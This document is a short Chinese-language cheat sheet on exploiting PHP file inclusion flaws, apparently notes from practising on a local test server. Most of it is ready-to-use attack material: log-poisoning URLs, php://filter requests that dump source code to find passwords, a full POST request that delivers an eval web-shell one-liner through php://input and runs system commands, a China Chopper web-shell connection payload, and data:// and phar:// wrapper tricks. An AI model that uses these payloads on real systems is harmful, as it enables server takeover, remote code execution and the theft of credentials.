文件包含&PHP伪协议

文件包含漏洞的常见利用

思路：URL传一句话进去(bp抓包)，文件包含日志文件执行

http://127.0.0.1/include.php?file=../Apache/logs/access.log&666=phpinfo();

//要使用php里面的功能就必须传一个参数进去

PHP伪协议

http://127.0.0.1/include.php?file=file://c:/Windows/win.ini

路径必须是绝对路径

php://filter读写文件(查账号密码)
http://127.0.0.1/include.php?file=php://filter/read/convert.base64-encode/resource=include.php

post请求报文

POST /include.php?file=php://input&666=system('dir'); HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

<?php @eval($_REQUEST[666])?>

菜刀里面（index.php会影响菜刀连接）

http://127.0.0.1/include.php?file=php://input
666
<O><?php @eval($_POST[666]);?></O>

在菜刀里POST值使用大O标签

数据流文件包含

GET /include.php?file=data:text/plain:base64,base64编码后的值

读取压缩包内文件，php>5.3

phar://